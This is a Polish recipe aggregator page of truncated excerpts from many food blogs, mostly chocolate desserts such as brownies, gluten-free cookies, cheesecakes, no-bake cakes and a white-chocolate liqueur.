Domowe Schokobons 234

spróbować ich domowej wersji, która nie zawiera zbędnego cukru i dodatkowych ulepszaczy. W sam raz na weekendową małą rozpustę, gdyż smak masy mlecznej z dodatkiem orzeszków oblanych w gorzkiej czekoladzie po prostu uzależnia. Składniki na ok. 20 sztuk: Masa: 125g serka mascarpone (4 czubate łyżki) 2 łyżki oleju kokosowego 1,5-2 łyżki ksylitolu (cukru lub innego zdrowego słodzidła(...)dodać posiekane orzechy, dokładnie wymieszać.   Odstawić na 1-2 godziny do lodówki. Następnie formować małe kulki. Ponownie wstawić na około godzinę do lodówki. W kąpieli wodnej rozpuścić czekoladę wraz z olejem kokosowym. Przestudzić. Oblać polewą kulki. Wstawić ponownie do lodówki by czekolada zastygła.  Przechowywać w lodówce. Smacznego, Anulla

Fabryka pomysłów
Bezglutenowe ciasteczka owsiane z czekoladą 238

Pamiętacie bezglutenową szarlotkę ? Dzisiaj z podobnej mikstury stworzyłam pyszne ciasteczka z czekoladą! Kruche, mięciutkie, rozpływają się w ustach!    Składniki: 1,5 szklanki mąki owsianej bezglutenowej 0,5 szklanki mąki kokosowej 100 g masła 1/3 szklanki ksylitolu 1 jajko (s) 1 łyżeczka jogurtu naturalnego 60 g czekolady gorzkiej min 70% kakao 2 łyżki wiórków kokosowych Wymieszać mąkę owsianą, kokosową(...)ksylitol, dodać masło, dobrze posiekać, następnie dodać jajko, jogurt, wymieszać i zagnieść. Czekoladę gorzką pokroić na mniejsze kawałki, dodać do ciasta razem z wiórkami kokosowymi, zagnieść. Ciasto wstawić do zamrażarki na 15 minut.  Następnie z ciasta formować kulki wielkości orzecha włoskiego, lekko spłaszczyć, układać na blaszce wyłożonej papierem do pieczenia.  Piec w 175 stopniach, termoobieg

coolinarny
z marcepanową kruszonką gotowany sernik na mleku zagęszczonym... 133

manną z budyniami i mikserem miksować doprowadzając do zagotowania na dużym ogniu tortownice 18 i 16 cm, na dnie rozłożyć biszkopty, na biszkopty wyłożyć gorącą masę serową, wyrównać wierzch czekolada gorzka 200 gram, śmietana gęsta 18% 5 łyżek - w kąpieli wodnej kawałki czekolady gorzkiej roztopić razem ze śmietaną mieszając z 3/4 czekolady stopionej rozsmarować na sernikach, psypać marcepanową kruszonką, przycisnąć

W Mojej Kuchni Lubię
Roladki kokosowe bez pieczenia 125

Roladki kokosowo-budyniowe bez pieczenia.  Bardzo smaczne i dość szybkie w wykonaniu. Połączenie kokosa, budyniu i gorzkiej czekolady. Polecam Wam wypróbowanie przepisu i delektowanie się roladkami. Więcej przepisów na ciasta znajdziecie w zakładce CIASTA na moim blogu. Szczególnie polecam Wam ciasto ananasek . Składniki 1 l mleka 3/4 szklanki cukru laska wanilii 130 g mąki pszennej 1 budyń śmietankowy(...)masła Dużą blachę (wykorzystałam taką z wyposażenia piekarnika) wysmarować solidnie masłem i posypać wiórkami kokosowymi. (dość obficie) Na wiórki wylać masę budyniową i wyrównać nożem. Polewa 100 g gorzkiej czekolady 1 szklanka śmietany 30% 1 łyżeczka kakao Śmietanę podgrzać, ale nie gotować, a następnie zdjąć z palnika, dodać kakao i pokruszoną czekoladę. Wymieszać aż powstanie gładka polewa.Wlać na masę

O kuchni z uczuciem
Gruszki zapiekane z serem z niebieską pleśnią 126

jedną wadę, trzeba na nią chwilę poczekać i czasu oczekiwania nie da się skrócić. 1 gruszka, 50 g sera z niebieską pleśnią, kilka orzechów włoskich, sos: 3 kostki gorzkiej czekolady, 1 kostka mlecznej czekolady, 30-50 ml mleka Gruszkę przekroić wzdłuż na pół, wyjąć gniazda nasienne. Ściąć minimalnie gruszkę od spodu, tak aby połówki ładnie stały i nie przechylały się(...)drobno pokroić. Orzechy posiekać. We wgłębienia po gnieździe nasiennym włożyć ser i trochę posiekanych orzechów. Wstawić do piekarnika nagrzanego do 180 stopni na 30 minut. Czekoladę rozpuścić w ciepłym mleku. Gruszki ułożyć na talerzu, polać sosem czekoladowym i posypać pozostałymi orzechami.  zastawa

królestwo garów
Brownie z fasoli, bez glutenu, bez mąki z polewą z masła orzechowego 196

gębie! Składniki (na małą keksówkę): - 1 puszka czerwonej fasoli - 1 duży dojrzały banan - 3/4 łyżeczki proszku do pieczenia - 2 jajka - 2 łyżki kakao - ulubione bakalie (opcjonalnie) * polewa: - 50g gorzkiej czekolady - 2 łyżki masła orzechowego (ja użyłam najlepszego od Vegan's Creuelty Free Selections ) Fasolę odsączyć i przepłukać pod bieżącą wodą, Odcedzić. Wszystkie składniki umieścić w misce i zmiksować blenderem(...)gładka). Dodać posiekane bakalie. Masę przelać do foremki (keksówki) wyłożonej papierem do pieczenia. Piec w piekarniku nagrzanym do 180C przez 40-50 minut. Studzić na kratce (wyjąć z formy). Czekoladę rozpuścić na parze, dodać masło orzechowe i rozpuścić w ciepłej czekoladzie. Polać ciasto i podawać. Smacznego

CookYourself
CIASTKO CZEKOLADOWE Z NUTĄ POMARAŃCZY - KONKURS 132

zaspokoi nasz apetyt na słodycze, w bardzo szybki i prosty sposób. A mała porcja spowoduje, że będziemy mieć mniejsze wyrzuty sumienia :) SKŁADNIKI: 2 jajka 100 g dobrej gatunkowo gorzkiej czekolady 100 g masła 2 łyżki mąki 120 g cukru pudru 1 łyżeczka cukru waniliowego 2 łyżeczki likieru pomarańczowego (opcjonalnie) A jak to zrobić: Czekoladę (dla wzmocnienia smaku, użyłam takiej(...)wodnej i odstawić do przestudzenia. Jajka wbić do miski i ubić z cukrami na gładką masę. Dodać mąkę i likier, wymieszać całość mikserem na najniższych obrotach. Wlać ostudzoną czekoladę z masłem i ostrożnie wymieszać. Gotowe ciasto przelać do kokilek (3/4 wysokości) i piec około 180 minut w temperaturze 200 stopni. Podawać bezpośrednio po przygotowaniu. Do przygotowania i podania ciastek

Kuchnia w opałach
WEGAŃSKIE DELICJE 211

dziecka zawsze je bardzo lubiłam.   Moja wersja zawiera wegańskie biszkopty z wody po ciecierzycy, galaretkę zrobioną z kompotu z owoców leśnych z agarem. Całość polałam rozpuszczoną czekoladą deserową. Jako baza do galaretki świetnie sprawdzi się też świeży sok pomarańczowy lub inny kupny :) Wegańskie delicje  Składniki (na ok 15 ciastek): 12 łyżek wody z puszki(...)ciecierzycy 100 g mąki 100 g cukru szczypta soli 1/2 szkl.  dowolnego soku (w razie potrzeby dosłodzić) 1/2 łyżeczki agaru czekolada deserowa Przygotowanie: Wodę po ciecierzycy ubij ze szczyptą soli i powoli dodawaj cukier.  Gdy już będzie ubita, dodaj przesianą mąkę i delikatnie wymieszaj. Niewielkie porcje masy nakładaj łyżką na blachę wyłożoną papierem do pieczenia

wegujemy
Pomysły na muffiny- 5 sprawdzonych smaków 152

składniki mieszamy osobno, jak poprzednio, a następnie łączymy i tworzymy gładką masę. Piekarnik nagrzewamy do 180 C i pieczemy babeczki przez 25 minut. Po ostygnięciu możemy je udekorować białą czekoladą i migdałami. Muffiny jogurtowe Babeczki jogurtowe są bardzo proste w przygotowaniu. Wystarczy 1 jajko, 3 łyżki cukru,1 łyżka cukru wanilinowego oraz proszku do pieczenia, szklanka wybranego jogurtu (np. truskawkowego(...)sprawdzając co jakiś czas zapałką stopień wypieczenia. Muffiny bazyliowe Do ich stworzenia potrzebujemy pół szklanki mleka, pół szklanki mąki pszennej, 90 g cukru, 100 g masła, 100 g białej czekolady, łyżeczki proszku do pieczenia, pół łyżeczki sody oczyszczonej, szczypty soli, świeżej bazylii, jednego jajka. Czekoladę podgrzewamy wraz z mlekiem i masłem do roztopienia. Czekamy aż wystygną, a następnie blendujemy

WojnaNaSmaki.pl
Kruche Ciastka Digestive z czekolada czyli poWeekendowe Lakocie odc.150 209

numer magazynu KUCHNIA i recepturę na pełnoziarniste ciasteczka Digestive. Zmieniłam je nieco pod względem sposobu przygotowania ale i składników. Co z tego wyszło zobaczycie poniżej. Kruche Ciastka Digestive z czekolada 200 g mąki orkiszowej/pszennej pełnoziarnistej 150 g mąki owsianej 50 g cukru trzcinowego 1/4 łyżeczki soli 1 łyżeczka proszku do pieczenia 150 g masła 3 łyżki mleka 20 g gorzkiej(...)czekolady, posiekanej opcjonalnie łyżka wiórków kokosowych lub innych mielonych orzechów Do misy miksera wsypujemy suche składniki oraz pocięte na kawałeczki masło. Rozdrabniamy masło mikserem lub nożem tak by stworzyło drobinki wśród maki. Dolewamy mleko, wsypujemy czekoladę i zagniatamy zwarte ciasto. Formujemy z niego wałek o średnicy ok 4 cm. Zawijamy w folie spożywczą i chowamy do zamrażalnika na pół godziny

Dzieje kuchennej Wiewióry
Porzeczkowiec 817

Dziś przedstawiam przepis na pyszny porzeczkowiec, z masą serową, bitą śmietaną i czekoladą. Ciasto jest idealne na każdą okazję jak i bez okazji! Polecam! Porzeczkowiec Składniki: Ciasto: 3/4 szklanki oleju, 1/2 szklanki wody, 1 i 1/2 szklanka cukru, 3 łyżki kakao, 1 i 1/2 szklanki mąki, 5 jajek, łyżeczka proszku do pieczenia, łyżeczka sody, Masa serowa: 2 kostki sera(...)homogenizowany o smaku waniliowym, 250 g margaryny, 6  łyżek cukru pudru, dodatkowo: 1/2 litra śmietany 30%, łyżka cukru pudru, 2 śmietan-fixy, 2 słoiki dżemu porzeczkowego, tabliczka mlecznej czekolady.   Wykonanie: Olej, wodę, kakao i szklankę cukru musimy wymieszać, zagotować i ostudzić. Żółtka oddzielamy od białek a następnie białka i 1/2 szklanki cukru ubijamy. Stopniowo dodajemy po 1 żółtku

paapilotkaa
Bezglutenowe ciasto bananowe 148

Idąc śladem bezglutenowych słodkości, przygotowałam ciasto bananowe z kawałkami czekolady na mące owsianej. Pyszne, słodziutkie, z odrobiną grzeszku na górze. Ciasto wyszło niskie (taki był zamiar, by nie zjeść za dużo ;), ale jeśli chcecie wyższe przygotujcie z podwójnej porcji składników na tą blaszkę. Składniki: 50 g masła 35 g ksylitolu 1 jajko 1,5 dojrzałego banana(...)obraniu) 60 g jogurtu naturalnego 130 g mąki owsianej bezglutenowej płaska łyżeczka sody oczyszczonej 1 łyżeczka cynamonu 1 łyżeczka imbiru 50 g czekolady gorzkiej 70% kakao Składniki powinny być w temperaturze pokojowej. Masło utrzeć z cukrem, dodawać po kolei jajko, dobrze rozgnieciony na papkę banan, jogurt. Na koniec wsypujemy składniki suche: mąkę, sodę, przyprawy, pokrojoną w drobne kawałki czekoladę, miksować

coolinarny
Ciasteczka czekoladowo - kawowe 156

około 20 sztuk: 100 g mąki ryżowej 20 g skrobi ziemniaczanej 110 g masła (temp. pokojowa) 80 g erytrolu/cukru trzcinowego/ksylitolu 1 jajko 1/2 łyżeczki sody oczyszczonej 200 g gorzkiej czekolady 5 łyżeczek mocnego naparu kawy u mnie tiramisu 1. Czekoladę siekamy. Suche składniki mieszamy razem. Odstawiamy.  2. W misie miksera ubijamy na wysokich obrotach masło z erytrolem na puszystą(...)jasną masę.  3. Zmniejszamy obroty miksera, dodajemy suche składniki, miksujemy, żeby połączyły się z resztą. 4. Dodajemy kawę i posiekaną czekoladę, delikatnie miksujemy. 5. Blaszkę wykładamy papierem do pieczenia. Piekarnik nagrzewamy do 180 stopni. 6. Za pomocą łyżki nabieramy ciasto. W rękach formujemy kulkę, kładziemy na papier i lekko ugniatamy. Pamiętajmy o odstępach, bo ciasteczka zwiększą swoja objętość podczas

kruche babeczki
Koktajl na mleku roślinnym z jarmużem i kakao 94

wyniku czego powstaje gęsta masa, z której w procesie tłoczenia otrzymuje się masło kakaowe, szeroko stosowane m.in. w kosmetyce. Odtłuszczone wytłoczyny, zmielone przybierają postać proszku o brunatnym kolorze - kakao . Czekolada to mieszanka kakao i masła kakaowego, Aztekowie pijali ją na zakończenie posiłku, przed wypaleniem tytoniu i sjestą. Kakaoterapia, to uznana przez współczesnych naukowców, metoda profilaktyki takich chorób cywilizacyjnych(...)zawał serca, rak czy cukrzyca. Kakao to  świetny afrodyzjak, ma właściwości poprawiające krążenie. Wzmaga koncentrację i poprawia humor. Nie na darmo mówi się, że " na chandrę najlepsza jest czekolada". Wszystko dzięki dużej zawartości  magnezu, wapnia, chromu, żelaza, manganu i cynku. Dzięki tym składnikom, redukuje stres i wyczerpanie. Polecane jest szczególnie uczniom, studentom oraz wszystkim przemęczonym i zestresowanym osobom

Moja Mama Gotuje
Ciasto makowo – „serowe” z polewą czekoladową 171

soli Masa serowa: 1 1/2 szklanki migdałów 3-4 łyżki cukru brązowego nierafinowanego 1 szklanka mleka roślinnego łyżeczka agaru 1/3 łyżeczki soli 2 łyżki cytryny Polewa czekoladowa: 100 g czekolady (70% kakao) 60 g oleju kokosowego (ewent. masła) 1 łyżka alkoholu np. wiśniówki, brendy, lub soku pomarańczowego. szczypta soli Dodatkowo: garść zmiksowanych orzechów włoskich do posypania tortownicy. Przygotowanie:   Masa(...)agar i gotujemy na małym ogniu kilka minut. Wlewamy do migdałów, dodajemy sól i sok z cytryny a ponownie miksujemy. Polewa czekoladowa   Do garnka wkładamy połamaną na kosteczki czekoladę, olej kokosowy, alkohol lub sok oraz szczyptę soli. Cały czas mieszając podgrzewamy masę na małym ogniu aż czekolada się roztopi. Odstawiamy z ognia i polewamy ciasto. Tortownicę o wymiarach

Moja Mama Gotuje
KOKOSANKI POLANE CZEKOLADĄ 127

zrobić z samych białek? Oto przepis na pyszne, kruche kokosanki polane gorzką czekoladą.  Składniki: 3 białka szczypta soli 150 g cukru 150 g wiórków kokosowych sok z połowy cytryny ( opcjonalnie)  Polewa: 1/2 gorzkiej czekolady Przygotowanie: wszystkie składniki powinny być w temperaturze pokojowej  W misce ubijam białka z odrobiną soli, gdy białka zaczną robić się puszyste powoli wsypuję(...)pieczenia nakładam masę za pomocą łyżek. Kokosanki wkładam do nagrzanego piekarnika do 180 stopni C i piekę przez około 15 minut.  Gotowe ciastka studzę na kratce.  Czekoladę  roztapiam w kąpieli wodnej i ozdabiam kokosanki

Kukuleczki
Bezglutenowe brownie z solonym karmelem 178

bezglutenowe brownie. A jako grzeszek solony karmel na śmietance kokosowej. Oczywiście można karmel pominąć i zajadać ciasto np z domowymi jogurtowymi lodami bananowymi lub malinowymi:) Składniki: Ciasto: 150 g czekolady gorzkiej 70% kakao 200 g masła 6 jajek 150 g ksylitolu 100 g mąki owsianej bezglutenowej Czekoladę i masło rozpuścić w mikrofali lub kąpieli wodnej, lekko przestudzić. Jajka i ksylitol(...)być mniejsza). Piec w 175 stopniach, termoobieg 20-25 minut. Im krócej tym ciasto bardziej wilgotne. P.S. Oczywiście kochani ksylitol możecie zastąpić innym cukrem, mąkę bezglutenową na mąkę owsianą, czekoladę proponuję zostawić min 65% kakao. Śmietankę kokosową w polewie można zastąpić zwykłą śmietanką. Solony karmel: 3/4 szklanki cukru 2 łyżki wody śmietanka kokosowa z 400 gramowej puszki mleczka kokosowego (powinno

coolinarny
Czekoladowe kulki z ryżem preparowanym i orzechami włoskimi 116

zdjęciami w zakładce Komentarz. Smacznego Składniki Wykonanie Wskazówki Składniki: 2 szklanki ryżu preparowanego (dmuchanego) 4 łyżki kakao 4 łyżki cukru kryształu 4 łyżki wody 4 łyżki masła 10 dkg czekolady mlecznej (opakowanie) 10 dkg drobno krojonych orzechów włoskich W garnku mieszamy cukier, kakao, wodę oraz masło. Wstawiamy na średni ogień i cały czas mieszając doprowadzamy do zagotowania. Gdy masa czekoladowa(...)zaczyna sie gotować, zmniejszamy ogień i kontynuujemy gotowanie przez 2 minuty nieustannie mieszając. Zdejmujemy z ognia, dodajemy czekoladę podzieloną na kawałki. Gdy czekolada się rozpuści, lekko schładzamy masę czekoladową. Do wciaż ciepłej masy dodajemy ryż preparowany. W zależności od wielkości kulek jakie chcemy formować, taką ilość masy nabieramy na dłoń. Robimy kulkę, którą następnie obtaczamy w krojonych orzechach. Gotowe kulki

mecooks
CIASTO CHAŁWOWO - CZEKOLADOWE 134

zrobi się budyń. wystudzić. Masło o temperaturze pokojowej utrzeć z chałwą, dodawać wystudzony budyń oraz spirytus.   Masa czekoladowa:   3 jajka 2 łyżki cukru 100 g gorzkiej czekolady 1 łyżka kakao 200 g masła 1 łyżka spirytusu Jajka ubijać z cukrem na parze około 10 minut. Następnie zdjąć z ognia,dodać kakao oraz posiekaną czekoladę - dokładnie wymieszać,aż rozpuści(...)się czekolada i zgęstnieje - można to robić dalej na parze. Masło utrzeć na puch,dodać przestudzoną,chłodną już masę czekoladową oraz spirytus. Dodatkowo:   ok 300 g bez ( najlepiej kolorowych)  Wystudzony biszkopt dobrze nasączyć ponczem najlepiej z jakimś alkoholem. Na biszkopcie rozsmarować masę  chałwową,ułożyć na niej bezy. Następnie na bezach rozsmarować masę czekoladową - wierzch udekorować pokruszonymi bezami

Niespełnione zdolności kulinarne
Sernik w biszkopcie orzechowym 176

budyń waniliowy 2 łyżki mąki ziemniaczanej cukier waniliowy Masa maślano-śmietanowa: 400 ml kwaśnej śmietany 18% 300 g masła 5 czubatych łyżek cukru pudru cukier waniliowy Polewa: 100 g czekolady mlecznej 100 g czekolady gorzkiej 2-3 łyżki śmietany kremówki Wykonanie: Biszkopt: Białka oddzielić od żółtek, a następnie żółtka utrzeć na puszystą masę z cukrem. Dodać partiami masło i nadal(...)stopni C. Dobrze wystudzić.  Masa maślano-śmietanowa: Masło utrzeć z cukrem na puszystą masę. Partiami dodawać śmietanę i lekko zmiksować. Masę podzielić na dwie równe części. Polewa: Czekoladę podgrzać w kąpieli wodnej z kremówką, do momentu uzyskania płynnej konsystencji. Przełożenie: Na pierwszy blat ciasta wyłożyć połowę masy śmietanowej i wyrównać. Następnie wyłożyć sernik i rozsmarować resztę masy śmietanowej

talerz przyjemności
PROPOZYCJE NA TŁUSTY CZWARTEK 127

bananowym - zarówno w cieście, jak i w nadzieniu znajduję się alkohol. Czytaj więcej >> 2) PĄCZKI Z MARMOLADĄ RÓŻANĄ Klasyk. Pączki nadziane marmoladą różaną z polewą z gorzkiej czekolady. Czytaj więcej >> 3) OPONKI POMARAŃCZOWE Oponki z ciasta drożdżowego ze skórką z pomarańczy w polewie z gorzkiej czekolady z pomarańczową nutą. Czytaj więcej >> 4) FAWORKI PIWNE(...)mascarpone. Szybka alternatywa dla tradycyjnych pączków drożdżowych. Czytaj więcej >> 6) CZEKOLADOWE PĄCZKI Z CHILI Pączki z piekarnika o smaku czekoladowym z dodatkiem ostrej nuty. Dla fanów połączenia czekolady i chili. Czytaj więcej >> 7) MALINOWE DROŻDŻÓWKI Malinowe bułeczki drożdżowe a'la pączki z piekarnika. Mniej kaloryczna alternatywa dla tradycyjnych pączków. Czytaj więcej

Kuchnia MagdaLeny
Brownie 129

adminką, mam na imię Martyna i od dzisiaj postaram się prowadzić tego bloga z Karolinką. Jako pierwszy chciałabym opublikować przepis na ciasto brownie. Składniki: 220 g masła 120g gorzkiej czekolady 1 szklanka cukru 4 jajka 1/2 szklanki mąki 1/2 łyżeczki soli 1) Rozstóp w rondelku masło i czekoladę. Jeśli została ci jeszcze jakaś czekolada do wykorzystania, możesz zetrzeć

cukrem pudrem posypane
Torcik czekoladowy bez pieczenia 115

dość łatwo i szybko nie używając nawet piekarnika. Skruszone, owsiane ciasteczka, tworzą oryginalną, smaczną podstawę, na której znajduje się pyszna czekoladowa masa (zrobioną na bazie serka mascarpone, śmietany i czekolady),a w elemencie ozdoby czekolada i jeszcze raz czekolada! 😉 To wszystko składa się na pyszny efekt końcowy, który przypadnie do […] Artykuł Torcik czekoladowy bez pieczenia pochodzi z serwisu Domowe

Domowe Torty
Cytrusowy koktajl na jogurcie naturalnym 168

Bardzo wyrazisty koktajl z cytrusową nutą. Smaku nadaje pomarańcza oraz skórka z cytryny. Ciekawym akcentem jest również gorzka czekolada, która idealnie wkomponowała się w smak. Na 2 porcje: 300 g jogurtu naturalnego Sok z 1 pomarańczy 1 banan 1 łyżka miodu Skórka z 1 cytryny Gorzka czekolada do dekoracji Do blendera wlewamy jogurt. Dodajemy wyciśnięty sok z pomarańczy łącznie(...)miąższem). Dokładamy pokrojonego na mniejsze kawałki banana oraz miód. Całość miksujemy na gładki krem. Przelewamy do szklanek. Z wyparzonej cytryny ścieramy skórkę, obsypujemy nią koktajl. Wierzch dekorujemy starta gorzką czekoladą

VioletoweKucharzenie
Flapjack czyli batoniki owsiane 150

płatków owsianych. Ogromna ilość znaczeń jednak batonik jest sam w sobie nieskomplikowany i tradycyjny. Kupne flapjacki są bardzo słodkie i miękkie. Przygotowałam wersję z mniejsza ilością cukru oraz czekoladą. Mam nadzieję, że wam się spodobają:-) Składniki na blachę 30cm na 21cm 600g płatków owsianych błyskawicznych 200g cukru 200g masła 150 ml syropu klonowego 200g czekolady mlecznej Sposób przygotowania: Nagrzać piekarnik(...)ostrożnie wyciągnąć masę owsianą z blaszki i pokroić na kwadratowe batoniki (jak ostygną będzie bardzo ciężko je przekroić i będą się kruszyć). Kiedy flapjacki ostygną maczamy je w rozpuszczonej czekoladzie i zostawiamy do wystygnięcia

wysmienity
Halloweenowe potworki z płatków śniadaniowych 95

szaleństwo. Wcześniej przygotowałam duszki z truskawek a teraz potworki z płatków śniadaniowych. Straszne!!! Składniki: 3 łyżki masła 300g pianek (marshmallows) 6 szklanek płatków śniadaniowych (rice krispie) 2 tabliczki mlecznej czekolady do ozdobienia kolorowe cukierki do posypania Sposób przygotowania: Rozpuść masło w dużym garnku razem z piankami. Dodaj płatki śniadaniowe i dokładnie wymieszaj. Wyłóż masę na blaszkę o wymiarach 9/13cm, dociśnij(...)odstaw do całkowitego ostudzenia. Pokrój całość w prostokąty i zanurzaj w czekoladzie tworząc włosy, które później możesz posypać kolorowymi cukiereczkami. Czekoladą możesz też wykonać buźki oraz oczy

wysmienity
Ciasteczkowe szaleństwo, czyli kanapka z ciastek i lodów 108

Ciastka same w sobie tego wieczoru nie były dla mnie wystarczające dlatego postanowiłam zrobić z nich lodową kanapkę. Zmieniło to oblicze dotychczasowych zwykłych ciasteczek z czekoladą. Uwaga!!! Bardzo słodkie:-) Składniki: 100g brązowego cukru 125g masła jajko cukier waniliowy (łyżeczka) 200g mąki pszennej (typ 550) 150g czekolady mlecznej pół łyżeczki soli łyżeczka proszku do pieczenia Dodatkowo lody o dowolnym, waszym ulubionym(...)smaku. Sposób przygotowania: W misce wymieszaj masło z cukrem brązowym, cukrem waniliowym i solą. Schłodzoną czekoladę pokrój na mniejsze kawałki i wrzuć do miski, dodaj jajko i dokładnie wymieszaj. Łyżką do lodów nakładaj kulki ciasta na blaszkę wyłożoną papierem do pieczenia. Piecz około 10 minut w 200 º C do złotego koloru. Odstaw do ostygnięcia

wysmienity
Biały blok z bakaliami i wafelkami 174

wafle jakie robiła moja mama. Co tam wafle…ten krem. Mogłam wcinać go łyżkami. A drugim wyrobem z mleka w proszku był blok, który miał zastępować niedostępną czekoladę. W latach 80, nikt nie wpadł na to, że czekolada może być biała, w przepisie zatem zawsze występowało kakao. Dzisiaj dla odmiany, zapraszam Was na blok ale właśnie w wersji białej(...)nugatowe. Cała masa jest bardzo gęsta i wymieszanie wszystkich składników po dodaniu bakalii, herbatników i wafelków nie jest proste. Za to smak, zrekompensuje Wam wszystko Do złudzenia przypomina białą czekoladę. Możecie przełożyć masę do keksówki lub też zawinąć ją w folię spożywczą, tworząc kształt kiełbaski. Możecie też układając masę w keksówce czy folii, wyłożyć część masy, włożyć wafelek w całości

Mieszam w Garnku
Tort jeżynowy w stylu Drip Cake 309

cukru 5 łyżek soku z cytryny Krem waniliowy 300 ml śmietany kremówki 250 g mascarpone 3-4 łyżki cukru pudru 1 łyżeczka pasty waniliowej Polewa drip 100 g gorzkiej czekolady 100 g śmietanki kremówki Dodatkowo 150 g jeżyn 150 g borówek amerykańskich Biszkopt Białka oddzielamy od żółtek. Do białek dodajemy sól i ubijamy na sztywną pianę. Pod koniec ubijania stopniowo(...)lodówki na całą noc. Kremem waniliowym pokrywamy dokładnie cały tort, aby powierzchnia była równa i gładka. Chłodzimy w lodówce przez kilka godzin. Polewa drip Śmietanę podgrzewamy, dodajemy połamaną czekoladę i cały czas podgrzewając mieszamy, aby czekolada się rozpuściła. Nie należy doprowadzić do zagotowania śmietany. Polewę studzimy i jeszcze płynną wylewamy na dobrze schłodzony tort. Górę tortu dekorujemy owocami. By Małgorzata

Wędrówki po kuchni
Biszkopt z truskawkami i kremem z mascarpone 162

cytryny Krem: 200 g serka mascarpone (schłodzony) 200 ml śmietany 30% (schłodzona) 3 łyżki cukru pudru 1 laska wanilii lub 1 łyżka ekstraktu waniliowego Dodatkowo: 50 g gorzkiej czekolady z zawartością 60% kakao Przygotowanie: Biszkopt: Białka oddzielić od żółtek i ubić je na sztywną pianę, pod koniec ubijania stopniowo dodawać po łyżce cukier. Ubijać do całkowitego rozpuszczenia się cukru(...)koniec ubijania dodawać po łyżce serek mascarpone i ziarenka wanilii lub ekstrakt. Miksować tylko do czasu połączenia się składników. Krem równomiernie rozsmarować na wierzchu ciasta i posypać wiórkami z czekolady. Wiórki z czekolady strugam skrobaczką do warzyw. Ciasto przed podaniem schłodzić przez co najmniej 2 - 3 godziny w lodówce

Kuchcik gotuje
Wafelkowa symfonia lodowa 203

soli zielonej himalajskiej, może być morska 15 dag orzechów włoskich 10 dag trzcinowego cukru brązowego 2 łyżki wody 3 wafelki  mleczne Lusette Sos czekoladowo-jeżynowy 10 dag gorzkiej czekolady ½ szklanki mrożonych jeżyn ¼ szklanki wody 150 ml śmietanki kremowej 2 łyżki cukru pudru 1 wafelek  mleczny Lusette Sposób przygotowania: Orzechy w karmelu:  Orzechy rozdrabniam wałkiem do ciasta , przesypuję(...)wkładam na 5 godzin do zamrażarki. Sos: Jeżyny zagotowuję z wodą i cukrem aż puszczą sok rozdrabniam je delikatnie widelcem, wlewam śmietankę  mieszam, zestawiam z ognia, dodaję połamaną czekoladę, gdy czekolada zacznie się rozpuszczać , mieszam dokładnie. Deser na 3 godziny przed podaniem wyciągam do lodówki aby zmiękł, kroję na plastry, dekoruję pokrojonym wafelkiem, polewam sosem od razu podaję

Wanilia i Kardamon
Biała dama – czyli likier z białej czekolady 9314

Słodki, z aromatyczną nutą amaretto. Doskonały by zaskoczyć przyjaciół lub rodzinę podczas spotkania, lub by sączyć niespiesznie wieczorami. Składniki: 150 g białej czekolady 1 jajko 80 g cukru 500 ml śmietany kremówki 30 % 200 ml Amaretto 100 ml białej żubrówki Śmietanę kremówkę wlewamy do garnka, dodajemy jajko i mieszamy. Dodajemy cukier i gotujemy na małym ogniu. Dodajemy rozpuszczoną na parze(...)białą czekoladę. Studzimy. Gdy śmietanka jest letnia dodajemy amaretto i żubrówkę. Wkładamy do lodówki, żeby likier zgęstniał. Przed podaniem należy zamieszać.     Artykuł Biała dama – czyli likier z białej czekolady pochodzi z serwisu Moja Qchnia Pełna Smaku

MojaQchnia.pl
MOCNO CZEKOLADOWE CIASTO Z JABŁKAMI I KARMELIZOWANYMI MIGDAŁAMI 130

rozpływające się w ustach, natomiast posypka z z migdałów chrupiąca. Ciasto ładnie prezentuje się na stole, a po lekkim przestygnięciu wygodnie kroi na kawałki. Zadowoli wszystkich, szczególnie smakoszy czekolady. SKŁADNIKI / forma o średnicy 22-23 cm CIASTO 300 g gorzkiej czekolady 200 ml śmietany 30% 4 jajka / białka i żółtka oddzielnie szczypta soli 3 łyżki cukru pudru 4 pełne łyżki(...)wciąż pozostaną w kawałkach. POSYPKA MIGDAŁOWA : w rondelku rozpuszczamy masło. Dodajemy cukier i migdały. Mieszamy. CIASTO : W garnku zagotowujemy śmietankę, zdejmujemy z ognia i dodajemy podzieloną na kostki czekoladę. Zostawiamy na 2 minuty, a następnie mieszamy do połączenia składników w jednolitą, gęstą masę. Dodajemy po jednym żółtku, za każdym razem energicznie mieszamy rózgą. Wprost do rondelka przesiewamy mąkę kukurydzianą

cool and minty
BROWNIE CZY NIE BROWNIE 127

Brownie:-) Będzie dziś do kawusi do herbatki do kompotu. Ciasto jest pochodzenia amerykańskiego i od angielskiego słowa brown - czyli brązowy przybrało swoją nazwę. Jest na bazie ciemnej, gorzkiej czekolady. Powinno być w środku wilgotne i soczyste. Bardzo trudno jest zrobić idealne Brownie. Ja podjęłam wyzwanie, które jest podwójnie trudne, ponieważ będzie bezglutenowe, bez mąki. Dziś już jest to powszechne(...)jajka  1 banan 1,5 płaskiej łyżeczki sody  łyżka miodu  3 łyżki oleju kokosowego lub rzepakowego 2 łyżki ciemnego kakao truskawki   na polewę: 1 gorzka czekolada, 1/3 kostki masła  Sposób przyrządzenia:  Fasolę opłukać, wysuszyć na sitku. Bardzo dokładnie zblendować na gładką masę. Dodać banana, kakao, jajka, miód, olej i jeszcze raz zblendować. Przełożyć

pieprzny smaczek
Wafelkowe Babeczki Na Zimno 128

poczekać aż stężeją, ale dla takiego smaku warto poczekać ;) Składniki na 4 babeczki 400 gr jogurtu greckiego 4 czubate łyżki cukru pudru 2 czubate łyżeczki żelatyny 4 kostki mlecznej czekolady jeden/dwa wafelki Lusette o smaku czekoladowym  http://lusette.pl maliny lub inne owoce z syropu do dekoracji i jeszcze lepszego smaku babeczek ;) 4 foremki na serniczki na zimno/babeczki/panna cotte(...)Jogurt wyjmujemy wcześniej aby nieco się ogrzał. Wafelki i czekoladę kroimy na drobno. 2. Żelatynę zalewamy bardzo gorącą wodą i mieszamy do rozpuszczenia, odstawiamy do przestygnięcia. 3. Jogurt przekładamy do miski i dodajemy cukier puder, następnie do przestudzonej żelatyny wkładamy z dwie łyżki jogurtu i mieszamy ( w ten sposób zahartujemy ją aby sie nam nie zważyła masa ) przekładamy do jogurtu

Gotowanie...to proste !
Babka różana z konfiturą malinową i polewą czekoladową 190

